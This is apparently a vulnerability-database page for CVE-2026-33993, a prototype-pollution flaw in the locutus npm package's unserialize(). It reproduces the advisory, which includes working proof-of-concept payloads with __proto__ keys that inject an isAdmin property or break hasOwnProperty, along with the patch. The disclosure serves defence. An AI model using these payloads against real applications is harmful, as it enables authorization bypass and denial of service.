Skip to main content

PHP CVE-2026-33993

| EUVDEUVD-2026-16888 MEDIUM
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-03-27 https://github.com/locutusjs/locutus GHSA-4mph-v827-f877
6.9
CVSS 4.0 · Vendor: https://github.com/locutusjs/locutus
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A03:2021 - Injection
ASVS 5.0
V3 - Web Frontend Security Prototype pollution prevention
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents significant real-world risk despite the absence of a CVSS vector and EPSS score in available data. The attack vector is network-accessible (PHP-serialized payloads can come from external sources, APIs, or databases), requires no authentication, and is trivially exploitable-proof-of-concept code in the advisory demonstrates working attacks in under 10 lines of JavaScript. The technical impact is high: authorization bypass (via isAdmin property injection), property propagation (making injected properties persist after for-in copying), and denial of service (by overriding hasOwnProperty or toString with non-function values). The locutus library's primary use case is deserializing untrusted PHP data in Node.js applications, making the attack surface realistic. Exploitation is considered confirmed given that a complete, reproducible proof-of-concept is provided and the maintainer acknowledged reproduction of the vulnerability. The availability of a patched version (3.0.25) and upstream fix (PR #597, commit 345a6211e1e6f939f96a7090bfeff642c9fcf9e4) indicates this is a settled issue, but applications still running locutus versions prior to 3.0.25 remain at high risk.

Exploit ScenarioDerived

An attacker crafts a malicious PHP-serialized payload (e.g., 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}') and injects it into a Node.js application that uses locutus.unserialize() to process user-supplied or external data. The application deserializes the payload, and the injected __proto__ key replaces the object's prototype with attacker-controlled properties. If the application checks authorization via if (config.isAdmin) or 'admin' in config, the attacker's injected properties are evaluated as true, bypassing access controls. Alternatively, the attacker injects a malformed value (e.g., b:1) for hasOwnProperty, causing a TypeError when the application later calls config.hasOwnProperty('x'), resulting in denial of service. Publicly available proof-of-concept code in the advisory demonstrates all three attack vectors.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

Prototype pollution in the locutus npm package's unserialize() function allows remote attackers to inject arbitrary properties into deserialized objects by crafting malicious PHP-serialized payloads containing __proto__ keys, enabling authorization bypass, property propagation attacks, and denial of service via method override. The vulnerability affects locutus versions prior to 3.0.25; publicly available exploit code exists demonstrating property injection, for-in propagation to real own properties, and built-in method disruption.

RemediationAI

Upgrade locutus to version 3.0.25 or later immediately. The vendor has released a patched version that filters dangerous keys (__proto__, constructor, prototype) by defining them as plain own properties using Object.defineProperty() instead of bracket notation, preventing the __proto__ setter from being invoked. The fix is available in the official npm registry at https://www.npmjs.com/package/locutus and the upstream repository at https://github.com/locutusjs/locutus/releases/tag/v3.0.25. Until patching is possible in legacy environments, avoid calling unserialize() on untrusted PHP-serialized input, or pre-validate/sanitize serialized payloads to strip __proto__, constructor, and prototype keys before deserialization. Applications that have already deserialized data should avoid using for-in loops to copy deserialized objects, as this propagates inherited properties to real own properties.

Affected VersionsENISA

locutus < 3.0.25

Affected Packages

npm locutus fix: 3.0.25

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The locutus library (pkg:npm/locutus) provides PHP function implementations in JavaScript, including the unserialize() function in src/php/var/unserialize.ts for deserializing PHP-serialized data. The root cause is CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes in JavaScript), where the expectArrayItems() and expectObject() functions assign deserialized keys to plain JavaScript objects using bracket notation without filtering dangerous keys like __proto__. In JavaScript, bracket notation on plain objects with the __proto__ key invokes the __proto__ setter, replacing the object's entire prototype chain rather than creating a regular own property. This allows attackers to inject inherited properties that bypass Object.keys() and hasOwnProperty() checks while remaining accessible via dot notation and the 'in' operator. The vulnerability is distinct from the previously patched parse_str() prototype pollution (GHSA-f98m-q3hr-p5wq), which already had a regex guard; unserialize() had no equivalent mitigation.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/locutusjs/locutus) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Red Hat 5.3 MEDIUM

Primary rating from Vendor (https://github.com/locutusjs/locutus).

CVSS VectorVendor: https://github.com/locutusjs/locutus

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 27, 2026 - 18:00 nvd
Patch available
CVE Published
Mar 27, 2026 - 17:57 nvd
MEDIUM 6.9

DescriptionCVE.org

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) - unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

typescript
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 - no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

typescript
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 - no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

  1. Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
  2. These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
  3. They propagate to copies made via for...in loops, becoming real own properties
  4. The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution - only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

bash
npm install locutus@3.0.24

Step 1 - Property injection via array deserialization:

js
import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] - isAdmin is hidden
console.log('isAdmin' in config);      // true - bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false - invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 - for...in propagation makes injected properties real:

js
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 - Method override denial of service:

js
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

Step 4 - Object type (stdClass) is also vulnerable:

js
const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin);       // true
console.log('isAdmin' in obj2);  // true

Step 5 - Confirm NOT global pollution:

js
console.log(({}).isAdmin);  // undefined - global Object.prototype is clean

Impact

  • Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
  • Property propagation: When consuming code copies the object using for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
  • Denial of service: The injected prototype can override hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.

The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.

Recommended Fix

Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:

typescript
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
  Object.defineProperty(items, keyStr, {
    value: item[0],
    writable: true,
    enumerable: true,
    configurable: true,
  });
} else {
  items[keyStr] = item[0];
}

Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:

typescript
// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;

The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.

Maintainer Reponse

Thank you for the report. This issue was reproduced locally against locutus@3.0.24, confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.

This is now fixed on main and released in locutus@3.0.25.

Fix Shipped In

  • PR: #597
  • Merge commit on main: 345a6211e1e6f939f96a7090bfeff642c9fcf9e4
  • Release: v3.0.25

What the Fix Does

The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.

Tested Repro Before the Fix

  • Attacker-controlled serialized __proto__ key produced inherited properties on the returned object
  • Object.keys() hid the injected key while 'key' in obj stayed true
  • Built-in methods like hasOwnProperty could be disrupted

Tested State After the Fix in 3.0.25

  • Dangerous keys are kept as own enumerable properties
  • The returned object's prototype is not replaced
  • The regression is covered by test/custom/unserialize-prototype-pollution.vitest.ts

---

The locutus team is treating this as a real package vulnerability with patched version 3.0.25.

Executive ViewAI

Why It Matters

CVE-2026-33993 presents notable security risk, a prototype pollution vulnerability rated CVSS 6.9. Exploitation could compromise the security of affected deployments. A patch is available and should be applied during regular vulnerability management.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If patching is delayed: restrict network access and enable monitoring.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy